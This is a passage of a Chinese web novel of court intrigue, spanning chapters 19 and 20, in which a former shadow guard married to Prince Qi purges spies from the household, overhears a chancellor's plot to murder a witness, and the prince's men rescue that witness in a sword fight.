元九的脑海中,兀地闪过了一句话:美人天生就懂如何惑人。 ——这是齐王殿下曾经说过的原话。 元九默默地看了慕厌舟一眼,最终还是强忍着,将自己想要说的话,重新咽回了肚子里。 谨言慎行,一定要谨言慎行! - 当今圣上子嗣不丰。 皇子皇女加在一起,也就五人。 其中,仅齐王慕厌舟与大皇子,已经出宫立了自己的府。 相比起生母仅是一名普通妃嫔的大皇子,身为先皇后之子的慕厌舟,王府不仅离皇宫更近、占地更大,并且内部仆从众多。单单徽鸣堂,就有近百名的侍从。有资格在齐王身边服侍的,也足有三四十号人之多。 当日午后,王府前院。 这三四十个人全被元九叫了出来,整整齐齐地站在了王府前院的那一片空地上,连大气都不敢出一声。 慕厌舟的书也不读了,默默坐在了树下,朝着院中看去: 宋明稚的轿辇,落在了前院之外。 见状,侍从立刻齐刷刷地行礼道:“参见王妃——” 相比起非常好糊弄的齐王本人,如今府内的侍从,似乎要更加畏惧宋明稚一点。 见状,慕厌舟不禁由衷欣赏道:“……厉害啊。” 宋明稚走进院中:“不必多礼。” 说话间,已自袖中取出了一本册子,拿在了手中。 ……王妃手里拿的是什么东西? 侍从们的心,瞬间便悬了起来,一个个忍不住探头,朝着宋明稚手中看了过去。不过,宋明稚并没有卖关子的意思,甫一站定,他便垂眸看向册子。继而,轻声向众人道:“殿下在近来读书、疗养,要比以往忙碌许多,各位在徽鸣堂里面当值,也应比往日更加周到。” 宋明稚的话里,带着淡淡的述兰口音,轻缓的尾音,似一根羽毛轻飘飘地扫过前院。 慕厌舟不由轻轻地眯起了双眼。 上一世,宋明稚不仅是负责小皇帝安危的贴身暗卫,更是暗卫统领之一。他的语气虽然平静,但是其中,却有着一阵淡淡的压迫感,方才还在向他手上乱瞄的众人,瞬间便安静了下来:“是,王妃。” 慕厌舟终是没忍住,笑了一下。 宋明稚将那本册子,交到了元九的手中。接着,便听元九高声念道:“志书——” 他手中拿着的原来是本名册。 被点到名字之后,身着赭色短袍的侍从,立刻就从人群中走了出来。此时,他还没有搞清楚这是什么情况,宋明稚已将视线落在了他的身上。同时,认真地回忆道:“前天傍晚,在徽鸣堂内当值的时候,藏在书架后面打盹。” “……啊?” 毫无心理准备的志书,呼吸瞬间一停:不是吧,王妃他究竟是怎么发现的! 宋明稚的唇边多了一抹淡淡的笑意。 ——老昏君安插在徽鸣堂内的侍从,虽然不是个个都有问题。但是,他们基本上都懒懒散散,要想抓他们的错,实在是简单得不能再简单。 作为一名前暗卫,宋明稚的老本行,就是默默地观察周围人,给人记黑账。 而身为齐王妃…… 闲着反正也是闲着。 平日没有什么事情需要做的宋明稚,在徽鸣堂里面观察了几天,心里面便有了数。还不等名叫志书的侍从朝他行礼、辩解,元九已经念出了第二个名字,宋明稚顿都没顿,又将他的问题给揪了出来。 宋明稚淡淡道:“昨日清晨,迟到了半炷香的时间。” 徽鸣堂前瞬间鸦雀无声。 众人皆像鹌鹑一般,深深地将头埋了起来,生怕下一个被点到名字的人就是自己。 就在这一片寂静里…… 院里那棵桃花树下,忽然生出了一阵细响。 ——这声音是似乎齐王殿下手中的茶杯盖,轻轻磕出来的! 众人齐刷刷地转过身。 同时,满怀期待地将视线,落在了他身上: 齐王殿下终于不满于王妃种种的独裁行径,打算与他呛声,让他清楚谁才是齐王府真正的主人了吗! 见状,宋明稚也缓缓转身,唤了一声:“齐王殿下?” 慕厌舟立刻放下了手中的茶盏:“不好意思。” 众人:“?” 慕厌舟于众目睽睽之下,朝宋明稚眨了眨眼。 同时,赞叹道:“爱妃的记性可真好。” 字里行间,皆是发自内心的欣赏。 没有一丝半点的不悦。 众人:“。” 我们没救了。 宋明稚做事向来利落,不喜欢耽搁太多的时间。不过一盏茶的工夫,他已挨个将徽鸣堂内的侍从过了一遍,并将其中,他发现有问题的人,全部选了出来—— 那昏君赐进王府的人,也不是每一个都是耳目。 故而,为免打草惊蛇,宋明稚仍将一部分侍从,留在了这里。同时,他还顺带着将几个虽然不是细作,但是整日敷衍了事,甚至手脚不干净的下人,与他们几个一道给提了出来。 “好了。” 宋明稚示意元九退下。 他接过名册,缓声道:“诸位可还有什么异议?” 一个被点道名的侍从,咬了咬牙,欲做垂死挣扎:“我——” 但他话还没有说出口,就听到…… 桃花树下,慕厌舟积极应道:“没有异议。” “全部都按爱妃说的来吧。” 宋明稚随即跟上:“既然没有异议,那就这样吧。” 一众侍从:……不,不是? 王妃问的难道不是我们吗? 宋明稚并不是信口雌黄。 他方才所举的时间地点,都是经过这几日的观察之后,方才得来的。众人原本就各有各的心虚,头一个人没能成功将辩解的话说出口,其余的下人,也不敢再多反驳。 见状,元九立刻叫来人,将他们带出了王府前院,另作安排。同时,还忍不住低声感叹道:“王妃的眼神怎么如此好……” 而看完一好戏—— 慕厌舟也伸了个懒腰,缓缓站起身来。 他走到宋明稚的身边,感慨万千:“还好,还好。” 宋明稚疑惑道:“殿下这是何意?” 慕厌舟轻叹了一口气,懒声道:“还好我们不是平常夫妻,不然,若是被你发现偷懒,那我岂不是不能上.床睡觉了?” 说着,还慢悠悠地将一缕浅金的长发绕在了指间。 春风如羽毛,轻轻地拂过了宋明稚的面颊,他下意识移开了视线,耳尖竟也随之一烫。 除了洞房的那一晚,宋明稚自来到王府起,便一直住在酌花院中。 时间久了,他竟然差一点点就忘记: 自己与齐王,名义上是需要同房的…… 咳咳咳! 宋明稚轻轻地摇了摇头,试图将那些乱七八糟的念头全都甩走:“时间不早,我去瞧瞧那群侍从,殿下看书吧。”话音还没有完全落下,人已迅速地转过身,朝着前院外而去。 慕厌舟松开了手中长发,笑着朝他道:“怎么跑了——” “王妃该不会是害羞了吧?” 清懒的声音,一遍遍回荡在前院之中。 宋明稚没有回答。 此刻,他的背影,已彻彻底底地消失在了院前。 春风荡走了院内的喧嚣。 慕厌舟垂下眼帘,一点一点敛起了眸中的笑意。 不是巧合。 宋明稚将那人安插在徽鸣堂,负责盯梢的耳目,全都调离了自己的身边…… 这些人的存在,不算是秘密。 ——他们虽然没有什么本事,甚至不知道盯着自己,究竟是为了什么,但却足够的烦人。作为一个“疏忽大意、不拘小节”的纨绔,慕厌舟不好直接出手,只得装作不知道这些人的存在。 没想今日,他竟然会收到如此的惊喜。 慕厌舟拂走身上的落花,举步朝着徽鸣堂内而去。 转过身就看到…… 前院的角落里,元九正像见了鬼似的盯着自己。 还不等他开口。 元九立刻低头,连声道:“我懂,我懂。” 方才那些都是殿下计划的一部分! …… 宋明稚总共调走了二十人。 徽鸣堂的占地极广,除了五间正房与前、后两院以外,还有东西两排厢房,与数间下房。剩下的那些侍从,是绝对忙不完这么多活的。 当晚,宋明稚便从齐王府内其他的地方,调来人送到了徽鸣堂内。 保险起见—— 这些全都是往日里负责洗衣、烧火粗使下人。 他们一直都生活在王府后院。 一个个入府多年,却连齐王的面,都从没有见过一次。 经验告诉宋明稚: 耳目是不会待在这种地方的。 酉时,天还未暗。 徽鸣堂前已经早早挂上了灯。 那群不安分的侍从,全被分调到了王府的边缘、角落,自然不能再像从前一样,住在前院的下房内。宋明稚给他们时间,回到往日住处,收拾自己的行李与贴身物品。 而即将来徽鸣堂内伺候的粗使下人,也要抓紧时间,搬到这里来。 前院一改往日宁静,乱成了一锅粥—— 例如,有人便一边帮忙收拾着行李、房间,一边同身边的人,窃窃私语道:“你说,王妃这是什么意思?” 同伴摇头了摇头,抱着包袱,朝院内而去:“我也不懂……调走那群好吃懒做的人,倒也正常,但为何要将那群粗使下人,调派到徽鸣堂里面来?” 王府的下人们不仅分工明确,且等级森严。 像他们这种自入府的那天起,便待在徽鸣堂内的侍从,一向看不起那些粗使下人。 说着,两人已经走到了院中:“一个个粗布麻衣、灰头土脸,若是让外人看见了,那得多丢我们王府的人啊!” 等等,粗布麻衣、灰头土脸…… 话说至此,抱着包袱侍从脚步忽然一顿:“我明白了!” 另一人好奇道:“明白什么了?” “府内人都说,王妃他对殿下记挂多年,”侍从顿了顿,半天也没找到合适的词,“你说他会不会是,呃……拈酸吃醋?这才故意找了一些其貌不扬的下人,来殿下身边?” 另一人立刻道,“不无道理啊!”说着,他又忍不住感慨了一句,“崇京城里好多人都说,王妃管殿下管得实在太过……” “过?” 王府前院,人来人往。 哄乱声中……直到慕厌舟开口,二人方才发现。他不知什么时候,缓步走出了屋内,此时正斜倚在门边,冷冷道:“徽鸣堂的下人如此爱议是非?” 殿下怎么来了! 前院瞬间安静了下来。 两名侍从的膝盖一抖,差点便跪在了地上:“殿,殿下……” 寂静中,慕厌舟忽然轻笑了一下。 他缓步走下长阶,压低了声音道:“那就告诉崇京城里的人,本王就是乐意让爱妃管着。” “谁也不能指手画脚。” 19、第十九章 慕厌舟的脾气向来很好。 他平日里总是慵懒散漫,鲜少有个正形。 入府这么多年,这似乎是下人们头一回,看到他如此严肃的模样。徽鸣堂前,众人瞬间便停下了动作,就连大气,也不敢出一声。 方才还在嚼舌根的两名侍从,瞬间便生出了一身冷汗,此时只知道抱着包袱,颤着声,连连称:“是。” 夜风吹得宫灯在屋檐下晃荡。 众人的心,也跟着七上八下。 慕厌舟连看都没有多看那两人一眼,径直穿过了前院。 齐王不拘小节,之前府里曾有下人在背地里说他闲话。而他听说以后,只是一笑置之,并没有选择深究……见此情形,两名侍从不由对视了一眼,皆从对方的眼中看到了庆幸。 逃过一劫了吗? 然而,正当两名侍从以为,齐王会放自己一马的时候,却听他开口,朝身后的元九吩咐道:“将他们二人,和方才那几人一道处置。” 元九立刻应道,“遵命,殿下!” 随后,转过身朝其他人吩咐道:“还愣着做什么?快一些去收拾院子啊。” “是!” 侍从们回过神,重新忙碌了起来。 他们一边后怕,一边默默将方才这一幕,记在了心中——王妃管得虽过,但殿下明明也乐在其中。 崇京城的人真是多管闲事! 转眼天已大暗。 慕厌舟刚走到院内那棵树下。 就见一名侍从,提着壶酒,走进了前院:“殿下,这是王妃送来的酒。” ——齐王府酒窖的几把铜钥,全被宋明稚给收了起来。每天傍晚,他都会派人将酒送到徽鸣堂里来。 慕厌舟唇边终于有了点笑意。 他随手接过酒壶,正打算喝,又见侍从奉上一个食盒:“除此以外,还有一盒糕点。” “糕点?”慕厌舟顺手将它接了过来,朝侍从吩咐道,“好,你退下吧。” “是,殿下。” 春风裹着酒香,吹到了慕厌舟的鼻间。 他轻轻地闭上了双眼—— 就在刚刚,手下查清了十一年前的事:当年被他送到驿馆内的那个小孩,的确是述兰的北郡王之子……宋明稚并不是冒名顶替。 结合当年的事,与他今日之举……宋明稚或许,并非奸细。 “稀奇。” 慕厌舟缓缓地睁开双眼。 取出一小块糕点,送入了口中。 难不成他是真对自己怀有期待,寄予希望? 这还真是一件稀奇的事。 今日的齐王府人人自危。 见慕厌舟手里拿着食盒,众人不禁默默将视线落在了他的身上,时刻准备冲上前,接他手中的糕点—— 慕厌舟并不喜欢吃甜食。 往常收到糕点,他只浅尝一口,便会命人收走。 然而,这一回…… 慕厌舟不但吃完了手里的东西,甚至叫来人道:“去酌花院告诉王妃,味道不错。” 众人:“……” 情理之中,意料之中。 - 崇京城里下起了大雨。 前几日还刺眼的阳光,皆被掩藏在了浓云之后。 齐王府所在的“瑶光坊”内,住满了达官显贵。除了王府以外,最气派的一座府邸,当属本朝右相严元博的家宅。 清晨,天还没有大亮。 宋明稚再次换上素衣,戴着帷帽,神不知鬼不觉地绕开了齐王府里面的守卫。冒着瓢泼大雨,直奔瑶光坊另一头,戒备森严的相府而去。 当朝右相“严元博”是奸党之首。 他原本只是皇帝身边的一名小官,负责车乘、出行,后来因为善于揣摩圣意、察言观色,不断受到提拔。最终,在上一任右相去世以后,顺理成章地坐在了这个位置上。 上一任右相…… 想到这里,宋明稚脚步不由一顿。 上一任右相也姓柳,与贤平皇后来自同一个家族。 当今圣上登基之时,朝廷里的高官大吏,有一小半,都与柳家有着或多或少的关系。二十年的时间过去,这一批人老死的老死,致仕的致仕,几乎再无踪影。 都说“盛极必衰”,后世人并没有太在意这一变化。 但是结合蛊虫来看,这或许并非巧合。 而是皇帝有意打压。 “咚……” “咚,咚……” 卯时,晨钟声响。 相府门前的守卫,也开始交接。 宋明稚停下脚步,候在了墙角,悄悄晃了晃手腕。 确定塞满了棉花的铃铛,不会发出任何声音之后,方才放下心来。 与此同时。 雨水随他的动作,从铃铛上面滑了下来,将“慕厌舟”这三个字,勾勒地尤其清晰——宋明稚回到酌花院后才发现,齐王竟在这只铃铛面,刻上了他的名字。 宋明稚:“。” 大楚的上一位皇帝是那昏君的兄长。 他在位的时候,不但将所有的亲王,幽禁在了王府中,甚至还对他们本人,与后代百般羞辱。 例如…… 在这期间出生的慕厌舟,名字里的“厌”字,就是先皇的杰作。 那昏君登基后,没有改掉这个名字。 也在间接说明,他并没有史书上记载的那般,关爱自己所谓的“发妻之子”…… 此时相府守卫正在交接。 大雨中,没有人注意到,院墙下正有人藏匿。 就是现在! 宋明稚仔细戴好了帷帽。 他足尖一点,便趁着守卫交接时,跃进了相府。 甫一站定就将铃铛藏在了袖子里。 当初的柳家,就是因为上一位皇帝的行径恶劣,这才会出兵帮助那昏君夺位。仅仅用了三天时间,就让这天下,换了一个新主人。 当了一辈子暗卫的宋明稚。 对这种剧情,再熟悉不过: 宋明稚猜测。 那昏君或许就是从宫变之后,开始忌惮柳家,与流着一半柳家血液的慕厌舟。百足之虫,断而不蹶……当年被柳家推上皇位的他,最怕的就是重蹈覆辙。 守卫的声音,打断了宋明稚的思绪: “都仔细点!” “一个个的都给我打起精神——” 相府的守卫,要比齐王府严很多。 但是这并不妨碍宋明稚来去自如。 他淡淡地瞟了远处的守卫一眼,转过身就走进了藏在相府假山背后的暗道里: 慕厌舟登基以后肃清奸党,相府也被朝廷收走。百年后,身为暗卫的宋明稚,隔三岔五就要来这一次,早将府内的密道、暗室,搞得清清楚楚。 不过一盏茶的时间。 宋明稚便通过暗道,走进了连接严元博书房的密室之中,静静地守在了此处。 身为暗卫,他向来很有耐心。 …… 户部受贿一案,矛头已经指向了写诬状的冯荣贵。 在原本历史上,慕厌舟登基以后,刚将此事查到他的头上,奸党便试图杀他灭口。然而那时,登基为帝的慕厌舟,早已做好准备,派暗卫保住了冯荣贵,这个关键性的证人。 这一回,事态不同…… 那个昏君显然没有齐王的脑子。 宋明稚要想办法保住这个证人。 “严大人!” “大人,冯荣贵那小子半点也经不起查啊。” “若再耽搁下去,他定会将我们供出来的……” 宋明稚:“!!!” 不知过了多久,宋明稚的耳边,终于传来了一阵嘈杂的声响。 有人走进了严元博的书房之中! 崇京城的大雨,还没有停下来。 深藏在相府下,由石砌城的暗道没有一点烛火,在这个雨天,显得尤其阴冷潮湿。 宋明稚身上的素衣,早已被大雨打湿。寒意顺着石壁,蔓延到了他的全身。然而他却像是没有感受到一般,轻悄悄地走上前,将耳朵贴在了薄薄的石板上,隔着密道之外“噼啪”的雨声,耐心听着书房里两人的谈话。 不同于方才那个人。 严元博的情绪,并不激动:“冯荣贵决不能留……” 他咳了几声,朝另一人道:“未免夜长梦多,你们今日戌时就动手,直接杀了他,说他……畏罪自.尽。再随便放一把火烧了他的那府邸就好。” 另一人立刻道:“是,大人!” 宋明稚:“……” 眼前这一幕,与历史上一模一样。 黑暗中,宋明稚轻轻地抿了抿唇。 原主的武功并不差,但是一直养尊处优的他,并不适应阴湿的暗道。还没听多久,宋明稚的手指尖,便被寒气所侵蚀,微微地颤了起来。 但是他并不着急走。 而是耐心守在这里,听完了严元博的所有安排,方才再次凝神屏息,静悄悄地通过密道离开了相府。 接着,靠在背街的院墙上,闭上眼睛轻轻地咳了起来。 同时,仔细想到…… 自己虽然能出手救人,但不在朝堂之中的自己,就算出手救了冯荣贵也没有任何的用处。 眼下自己只有一个选择: 赌最后一把,赌齐王殿下真的如自己猜的那般,是韬光养晦! 赌他会出手相助! 宋明稚蓦地睁开了双眼。 自己现在的任务,就是通风报信—— - 灰蓝的马车穿过街坊。 冒着大雨,光明正大地朝向了尚书府的侧门。 住在这附近的百姓们都知道:这驾马车里的人,是尚书府负责采买的下人。每隔上一阵子,他都会乘这驾马车,去崇京城里,购买府内近日所需的蔬果、茶酒。 马车一路畅通,驶入尚书府内。 自始至终都没有人多看它一眼,更不会有人想到,这驾车里坐着的人,其实是当今的齐王。 此时,他正轻合着眼,梳理着户部一案:如今,案件已经查到了冯荣贵的头上,并暂时陷入了僵局……是时候来尚书府,找杜山晖聊一聊了。 雨没有停的迹象。 下人的声音穿透了车壁,落在他的耳边:“殿下,杜大人在正房等您。” 慕厌舟缓缓睁开了双眼:“好。” 话音落下的同时,他已撑开纸伞,缓步走下马车。 不消片刻,便随着下人一道,穿过了层层的雨幕,走进了正房内。不过,慕厌舟并没有像平常访客那般,直接坐在长桌边,而是绕过书架,敛起气息,朝着一旁的暗室中而去—— 马车也在同时间,悄无声息地驶入了院中。 齐王的朽木之名,传遍天下。 崇京上下只听说: 身为一名“严师”的杜山晖,一向都不喜欢齐王这个不学无术的学生,每每提到慕厌舟,他都是一副恨铁不成钢的样子,甚至不愿承认自己是他的老师。 就连杜山晖的亲儿子都不知道,他与慕厌舟在私下里,一直都有着联系。 杜山晖的伤势还未愈。 但是慕厌舟进门以后,他还是立刻挣扎着起身,行礼道: “下官杜山晖,参见齐王殿下——” 慕厌舟缓缓坐进了暗室,“杜大人不必多礼,”他随手端起桌边的茶盏,轻抿了两口后,方才开口说道,“今日本王来杜大人府上,是为冯荣贵一事。” 暗房外,杜山晖艰难起身坐回榻边。 慕厌舟不可能在尚书府待太长时间,因此,杜山晖也没有再说半句废话,直接开口道:“据老臣所知,冯荣贵那个人,就是一个彻头彻尾的墙头草!” 慕厌舟忽然开口:“墙头草……” 杜山晖愣了一下:“殿下?” 慕厌舟放下手中的茶盏:“没事,继续吧。” 雨声透过墙壁传入屋内,他轻轻眯起了眼,一边仔细听杜山晖的话,一边暗想道……杜山晖知道他是一棵墙头草,那么奸党,自然也知道。 如果自己是奸党的话。 无论冒多大的险,也要…… 杀他灭口。 “轰——” 崇京城上响起了一阵春雷。 方才还滔滔不绝的杜山晖,被这阵雷声打断,忍不住抬头朝着窗外看了一眼。 担心惹人怀疑。 杜山晖并没有屏退下人们。 此时,正有一名侍从走过檐下。 他立刻停下不再说话,慕厌舟也随之敛起了全部的气息。 同样,伴着这阵春雷—— 头戴着帷帽的宋明稚,绕过了尚书府的守卫,不费吹灰之力,便来到了正房前。 远远看到那名侍从后。 宋明稚立刻藏在暗处,朝房内看了过来,并仔细观察起了周围的环境。 待侍从离开,并确定尚书府内一切如常,这里也没有其他人的气息后,方才缓步上前。 接着,推开屋门,如鬼魅一般走了进去。 他记得…… 上回来尚书府的时候。 杜山晖中途醒来看了自己一眼,问都没问,便安心接受了自己的诊治。 当时宋明稚就觉得有些奇怪。 而时隔多日,结合历史上两人“亦师亦友”的记载,与齐王在杜山晖死后,为他平反的举动,宋明稚心中也逐渐有了猜测: 那天,杜山晖十有八.九,是将自己当成了齐王派去救他的人,所以才会如此放心。 自己虽然是“齐王妃”,但是这个身份并没有什么信誉可言……如果直接通风报信,说不定还会起到相反的作用。 宋明稚想了想,最终决定来到尚书府,借杜山晖之口,将此事转达给慕厌舟。 毕竟自己是真的曾经救过杜山晖一命—— 尚书府,正房内。 春雷声落了下来,侍从也已逐渐走远,屋外只剩下噼啪的雨声。 隔着一堵薄墙,慕厌舟还未重新开口。 便听见:方才正准备细说此事的杜山晖,竟又一次停了下来。 接着,磕磕绊绊道:“你,是你……” “上次那个戴帷帽,来救我的人是你!” 随即,便有人道:“嘘——” 杜山晖立刻安静了下来。 隔墙内,慕厌舟的目光瞬间一晦。 ……竟又是他! 屋外的雨声,依旧是那么大。 隔着雨声慕厌舟只听到,墙外的人压低了语调,刻意闷着自己的本音,对杜山晖道:“我有一事,需要大人向齐王殿下转达,不知大人可愿配合?” 听到这里,就连历经了几朝,早见过无数大风大浪的杜山晖,都不禁瞪圆了眼睛。他下意识想要回头看向暗房,最终,还是强忍了下来,咬牙道:“你说……” 暗房之中,慕厌舟像是听到什么有趣的事一般,慢慢地眯起了眼睛。 ……原来那个头戴帷帽的男子。 是冲着自己而来的么? 20、第二十章 杜山晖是大楚的户部尚书。 身为王妃的宋明稚,在正式场合遇到他,只不过是时间早晚的问题而已。 担心日后再见面时,被杜山晖认出自己,宋明稚刻意隐藏起了自己原本的声音,朝对方道:“严元博一党,要杀冯荣贵灭口。” 天边又响起了春雷:“轰隆——” 暗房之中,慕厌舟缓缓敛眉。 眸中没有半点意外。 杜山晖则攥紧手心,追问道:“你这究竟是从何而知?” 宋明稚并没有回答他的问题。 而是轻咳了两声,直接开口:“今日傍晚,戌时前后,严元博的人会去冯家,杀了冯荣贵,顺带放火,对外称他咳咳……是畏罪自.尽。若不想此事成为无头案,就此不了了之,那便速速将此事,转告给齐王。” 宋明稚的语气格外平静,听不出半点情绪。 尚书府内的下人虽然不多。 但是难保不会有人在此时,来正房内找人。宋明稚说完这句话后,立刻转身朝着门外而去。见此情形,杜山晖终是没有忍住,朝他道:“等等,你怎么知道我会将此事告诉齐王殿下——” 头戴帷帽的男子,脚步一顿,丢下一句:“大人无须知道这些。”便头也不回地离开了房间。 “你——” 杜山晖不禁上前,朝着窗户外看了出去:树上新生的绿叶,被雨水打得噼啪作响,院内的积水正湍急地流向洼地,不远处,还有侍从正打着伞朝此处而来。 一切如常…… 方才那人的身影,转眼便彻彻底底地消失在了自己的眼前。 杜山晖的心脏,不禁重重一沉。 他迅速关上窗,转过身去,朝着暗房内问:“……殿下,您看此事?” 方才那人不但知道严元博等人的私密计划。甚至还知道殿下的机密,与自己能联系到殿下一事。想到这里……就连见识过各种大场面的杜山晖,心中都瞬间没了底。 慕厌舟的眼中,早已没了笑意。 他缓缓地站起了身道:“动手,保冯荣贵。” 殿下行事一向很谨慎。 杜山晖被他吓了一跳:“可是,方才那人不但身份不明,并且连半点的证据都没有啊!” 慕厌舟垂眸,懒声道:“的确。” 说话间,他已从暗房中走了出来。 人生在世,并不是每一件事,都能有十足把握。 有的时候…… 就是需要放手一搏,赌一把。 话音落下,慕厌舟已撑起雨伞,缓缓地步入了雨幕之中。同时,抬起头,看向了天际……倾盆大雨中,崇京的天,只剩下铅白的一片。 方才那人过度平静,没有丝毫情绪的声线,与他断断续续的轻咳声一道,再次浮现在了慕厌舟的耳边。 ……会是谁呢。 相比起冯荣贵的事。 此时,他似乎对方才那个男子,更有兴趣。 - 大雨终于停了下来。 宋明稚天还没亮就离开了王府。 回到酌花院的时候,方才巳时。 居住在王府,宋明稚并不需要“晨昏定省”,一向都是睡到自然醒的。而相处了一段时间之后,酌花院内的下人,也逐渐摸清了他的习惯:宋明稚不需要下人伺候自己洗漱更衣,也不喜欢有人在一大清早的时候,打扰他休息。 因此—— 直到宋明稚无声无息地回到酌花院。 换下素衣帷帽,吩咐侍从备好衣物,院子里这才逐渐有了动静。 一盏茶的时间过后。 宋明稚终于散开长发,赤着脚,步入了冒着袅袅热气的汤池中——不同于徽鸣堂,酌花院依地势所建,结构并没有那么规整。除了正厅以外,只有东、西两间房,一边住人,一边则为白玉砌成的汤池。 汤池下有一条暗渠,与酌花院中的温泉相连,池内的水,都是从那里引入屋内的。 而水中也因此也浮了一层浅红的落花。 “咳咳咳……” 温热的泉水将宋明稚裹了起来。 并于刹那之间,驱散了他身体里的寒气,宋明稚不禁轻叹了一口气,慢慢地闭上了眼睛。 自己能做的事,已经全部做完。 剩下的就交给齐王殿下了…… 若是能够早早铲除奸党。 大楚一定不会再因天灾,而流民遍地,甚至危及朝堂、天下。或许,还能提前铲除祸根,避免百年之后的割据混战,再度上演。 扑通,扑通—— 宋明稚凉了多日的心。 终于随着温泉水一道,暖了回来。 这回,自己总能看到殿下大杀四方了吧! …… 严元博已经发了话。 手下定要尽心竭力,保证此事万无一失。 酉时六刻,阳青坊,冯家。 如今冯荣贵已被停职查办,他虽然还没有被下狱,但是已经被限制,不能离开自家府邸。 身为“奸党”一员,冯荣贵身边的人,或多或少都与严元博有联系。知道自身处境的他,已经有几天几夜没能阖上眼。昨晚,他终于下定决心喝了一壶闷酒,睡了这几日来的第一场整觉。 此时,宿醉在床的冯荣贵,完全没有意识到:备受自己信任的管家,与家中一部分护卫,已经在暗中收到了来自严元博的命令,即将杀他灭口。 冯家后院。 大雨方歇,屋檐还在滴水。 一名穿着褚衣的中年男子,正伴着“嘀嗒”的水声,低声朝身边的几人吩咐道,“你们几个先去东院,锁住所有房门,再给每一间房子,都浇上麻油,”接着,又转过身去,朝着另外那几个人道,“你们随我过来,处理冯荣贵。” 冯家的东院,是冯荣贵的儿子住的地方。担心冯荣贵已提前将这件事泄露给他,严元博特意吩咐他们,定要斩草除根。将人锁住,再放火烧府。 周围人迅速应下:“是!” 话音落下,便提着麻油,消失在了后院中。 而身着褚衣的中年男子,也在此刻打了一个手势:“好,剩下的人,全部随我走。” 说着,他便自身旁,提起了刀来。 然而,就在这时—— 屋脊之上,忽然传来一阵细响。 男子下意识抬头朝着上方看去,还不等他看清头顶发生了什么,便见十余名黑衣人,从天而降。 没有时间多想。 他下意识向后退了一步。 握紧手中的刀,高声道:“杀了他们——” 话音未落,已带人冲了上去。 “是!” 寒光劈碎了天边的晚霞。 浓重的血腥气瞬间压过了满院花草的清香,扑面而来。 刹那间,杀气冲天。 …… 暴雨洗净了满城的铅华。 天边的浓云,似火一般,烧了起来。 坊市中,行人踏着石板走出了家门,静谧中,还没有人发觉……崇京的某一处,此刻早已血流成河。 身着黑衣的侍从杀尽了冯府的奸党。 收走麻油之后,将酒还未醒冯荣贵,掳出了家门,朝着崇京城东边的“平喜坊”而去——这是崇京城内最大的一座城坊,里面居住的人,都是普通百姓。 崇京城修建于前朝,几经战火。 未经修葺的平喜坊,内部街道曲折狭窄,两边都是略显破旧,且拥挤的民居。不怎么熟悉此地的人,一旦走进平喜坊内,没有一两个时辰,都难出去。 慕厌舟早已在暗中,于平喜坊内买下了一座民居。 此刻,他手下侍从正朝着那里而去: “这边走——” “你们速速断后!” “大家当心一点,有人跟来了!” 冯家并没有按照计划燃起大火,严元博派去负责盯梢的手下,发现异样以后,第一时间便与齐王的人缠斗在了一起。不同于负责放火的护卫、家丁,这几个人都是一等一的高手。 一番打斗过后。 竟然还有几人,一路隐匿身形,追到了平喜坊里面来。 侍从对视一眼,立刻兵分两路,一半带着冯荣贵朝着民居而去,另一半则留在这里,负责断后:“是!” 平喜坊内人员太过密集,不宜久战。 兵戈相撞生出的脆响,瞬间便填满了整条小巷,有侍从于刀光剑影中窥见……远处,又追兵听到声音,朝此处赶了过来。 这里距离齐王的民居,只有不足百丈的距离。 事态不妙! 平喜坊的那一头。 羽箭划破了长空,刺向此处。 而就在侍从咬紧了牙关,做好准备,要与这群人同归于尽之时—— 一道浅青的身影,忽如冽风,从平喜坊的那头,降了下来:“列阵,勿使一人逃脱!” 他手握长剑。 脸上还戴着一副银质的面具。 话音落下那一瞬,他已手起剑落,将面前的羽箭,震成了两半。 侍从不禁瞪大双眼:“——您?!” 齐王殿下竟然来了! “别废话。” 平喜坊内杀声震天。 巷道两头的人,皆已退无可退。 话音落下的同一时间,慕厌舟已手持长剑,朝着巷道另一头而去。见状,侍从也对视一眼,咬牙随他一道,冲了上去。 雨珠自屋檐上滚了下来。 在石板的凹痕中,积攒成一摊。 剑光闪烁间。 不消片刻,便有鲜血溶入水中,染红了整条小巷。 飞溅在了慕厌舟的肩头。 - 户部官.员冯荣贵府上血流成河,短短的一个傍晚,便有三十余人死于他府中。而原本在接受调查的冯荣贵本人,更是不知下落、生死不明。 就在事情发生的第一时间。 消息传入凤安宫,天子震怒。 当晚,京城戒严。 …… 廖文柏的父亲,负责率军,保证崇京城的外部安全。而皇城内部的禁军,则全归大皇子“梁王”慕思安掌管。今日这件重案,也暂时由他负责。 清夜无尘,月色如银。 春风撩过院中的花树,撩得桃花轻颤,似碎琼乱玉,拂面而来。 酌花院内却空无一人。 猜到今天有大事发生,宋明稚一大早,便屏退了身边所有侍从,绕过了王府内的守卫,悄然无息地守在了徽鸣堂外……事情尚未尘埃落定,宋明稚始终有一些放心不下。 “嘚嘚,嘚嘚——” 马蹄声惊醒了长夜。 徽鸣堂正对着王府那扇朱红色的大门。 隐匿在徽鸣堂前那棵大树上的宋明稚,远远便看见—— 有近百名禁军正手握火把、披坚执锐,穿过瑶光坊,直奔着齐王府而来。火光明灭,霎时间便照亮了大半条街巷。转眼之间,禁军已到院前。 此时正在门前,高声道: “今日傍晚,有数名凶犯,于户部冯荣贵府中大肆屠戮,致使多人丧命,并将冯荣贵掳走,至今他仍下落不明。我等奉皇命,挨家逐户于京中搜查,凡有阻拦者,格杀勿论!” 齐王殿下出手了。 宋明稚:“……!” 这一回自己赌对了。 虽然早已经有了预料,但听到这里,宋明稚的心仍不受控制地重重颤了一下。 可是,还不等他激动,宋明稚又见—— 元九走上前去,同禁军说了句什么。 对方再次开口,朝府内道:“……今日这些凶犯,一口气杀了四十多个人,如今仍逍遥法外,谁都不知道凶犯现在是否还在京城内。吾等搜查王府,也是为了齐王殿下,还有王妃的安全着想。” 元九似乎是在阻拦他…… 为首的禁军,却觍着脸道:“您说,万一凶犯慌不择路,藏进了齐王府,那多危险啊?”他一边说话,一边从袖内掏出了一只雕有金龙的御令。 ——这是那昏君方才所赐。 在这禁军的软硬兼施之下,元九只得让步。 宋明稚远远地看到…… 齐王府的大门缓缓敞了开来。 完了。 齐王殿下还没回来! 宋明稚瞬间咬紧了牙关。 京中的那群纨绔都知道: 齐王虽有“朽木”之名,但是作为贤平皇后所出的皇子,他才是最名正言顺的太子人选。正是因此,大皇子一直都将他视作眼中钉、肉中刺,处处都在针对着他。 一身赤黄锦袍、身骑棕马的慕思安,紧跟在禁军的背后,来到了齐王府中,带人直奔着徽鸣堂而来。 宋明稚缓缓自树上撤了下来…… 